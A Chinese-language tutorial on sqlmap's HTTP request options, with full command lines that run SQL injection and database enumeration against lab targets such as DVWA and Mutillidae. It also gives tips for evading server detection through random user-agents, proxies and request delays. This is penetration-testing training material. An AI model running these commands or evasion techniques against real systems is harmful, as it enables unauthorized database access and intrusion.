目录
- 数据段--data选项
- 变量分隔符选项 --param-del
- cookie头选项 --cookie
- 选项--user-agent
- 选项--random-agent
- 检测user-agent注入点
- host头选项 --host
- Referer头选项 --referer
- 额外的header选项 --headers
- 额外的header选项 --headers
- 基于HTTP协议的身份认证
- 客户端认证选项--auth-cert/--auth-file
- http(s)代理
- http(s)代理
- --timeout选项
- --timeout选项
- randomize
- --scope选项
- --scope选项
- --skip-urlencode选项
- --eval选项
1、数据段--data选项
- get / post 都适用
#sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f //将get或post中的数据段以data传入
首先,使用F12,调用调试器,然后点击“启用”
首先复制抓包后的链接:
然后将其post提交的数据已--data
#sqlmap -u "http://192.168.50.183/mutillidae/index.php?page=login.php" --data "username=1&password=2&login-php-submit-button=Login" --dbs
上述是post方法,下面是将get方法进行提交、拆分
sqlmap -u "http://192.168.50.183/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username --users
2、变量分隔符选项 --param-del
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
用分号;作为分隔符,之前是使用&
3、cookie头选项 --cookie
- 使用cookie作为登录标识,即需要先正常登录后,在进行相关的访问的,在探测时需要使用--cookie:
- web应用需要机遇cookie的身份认证
- 检查cookie中的注入点(sqlmap自动测试,cookie字段中的变量存在的注入点检测,在设置level≥2的时候)
- Set-Cookie / --drop-set-cookie(当服务器响应新的cookie时,不更新,仍使用原有cookie) / --cookie-del
访问dvwa的的盲注页面:
复制cookie数据:
使用sqlmap进行sql探测
#sqlmap -u "http://192.168.1.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low;PHPSESSID=db6d77a898092583a30086fd7a6c1823" --dbs
//在登录后需要使用cookie认证的探测
#sqlmap -u "http://192.168.1.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low;PHPSESSID=db6d77a898092583a30086fd7a6c1823" --level2 --dbs
//设置level为2,最大值可设置为5,还可以继续探测到cookie中变量是否存在注入
4、选项--user-agent
sqlmap在发送扫描探测的时候,默认使用的user-agent为sqlmap/1.0-xxxx(http://sqlmap.org)的字符串。
通过wireshark查看默认下sqlmap的user-agent,首先仍使用上述sqlmap语句进行探测,同时打开wireshark,过滤为目标IP地址,并观察tcpstream流
可以通过使用--user-agent=“xxx”进行修改,也可以通过下面的--random-agent修改
5、选项--random-agent
/usr/share/sqlmap/txt/user-agents.txt
中,有已经写好的user-agent,可以使用--random-agent在其txt中随机使用一个作为user-agent。
#sqlmap -u "http://192.168.1.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low;PHPSESSID=db6d77a898092583a30086fd7a6c1823" --dbs --random-agent
使用wireshark抓包,查看tcp流,选取了txt中的firefox作为useragent
6、检测user-agent注入点
sqlmap检查user-agent中的注入点:level≥3
APP/WAF/IPS/IDS过滤异常user-agent时,如果有如下报错,是因为useragent被服务端识别,下面报错中提示sqlmap使用--random-agent产生user-agent:
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
7、host头选项 --host
设置level≥5,即最高级别才会检查host头是否存在注入
--host="xxxx"
8、Referer头选项 --referer
lever≥3
--referer="xxx"
9、额外的header选项 --headers
设置header中的属性信息,改为自己想要发送的header
sqlmap -u "http://192.168.50.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=d9994fc98d59c687c8b7af790bd56da2" --dbs --headers="Host:www.aaa.com\nUser-Agent:bbbbb"
// \n表示换行符,每个头使用单独的一行,因此需要\n
通过wireshark可以查看修改后的Host和User-Agent
10、选项 --method=POST/GET
--method=POST/GET //使用GET或者POST方法探测
11、基于HTTP协议的身份认证
- HTTP
- Basic
- Digest
- NTLM
# sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred
"user:pass“ //--auth-tyep指定认证类型,user:pass表示用户名和密码
12、客户端认证选项--auth-cert/--auth-file
关于证书,除了认证服务端之外,服务端也认证客户端这种双向认证的场景
--auth-file="ca.PEM"
- 仅支持含有私钥的PEM格式证书文件
- 或者是PEM格式的证书链文件
13、http(s)代理
在sqlmap进行探测的过程中,为避免被服务端发现、对IP地址进行限制,可以采取使用代理的方式探测
--proxy="http://127.0.0.1:8080"
--proxy-cred="name:pass" //访问搭理需要用户名、密码的情况下加上此选项
--ignore-proxy //忽略系统级代理设置(一般的代理是通过浏览器代理),通常用于扫描本地网络目标
14、--delay选项
每次http(s)请求之间延迟时间,单位为秒,可以是浮点数,如1.5s也可以,默认无延迟。此项避免服务端发现注入攻击,每个一段时间发送探测。
15、--timeout选项
请求超时时间,浮点数,默认为30s,在多长时间没有接收到服务器的响应时间
16、--retries选项
http(s)连接超时重试次数,默认3次,连续超过3个timeout即不在发送请求。
17、randomize
长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
#sqlmap -u "http://1.1.1.1/a.php?id=100 --randomize="id"
//每次id的值从100到999,id为的长度等保持不变
18、 --scope选项
过滤日志内容,通过政治表达式筛选扫描对象
sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)"
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
19、--safe-url / --safe-freq选项
- 检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
- 每发送--safe-freq次注入请求后,发送一次正常请求
--safe-url // 每次需要探测的url地址
--safe-freq //频次,每次多少次请求后,发送正常请求
20、--skip-urlencode选项
默认Get方法会对传输内容进行编码,某些web服务器不遵守RFC编码标准,使用原始字符提交数据
直接在命令行后添加选项 --skip-urlencode
21、--eval选项
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间依赖、其他参数数值依赖)
#sqlmap -u "http://1.1.1.1/a.php?
id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import
hashlib;hash=hashlib.md5(id).hexdigest()"
//hash值依赖于前面的id信息,每次id变化的话,hash也要随之变化,此时需要--eval选项,通过python脚本实现每次id和对应的hash一致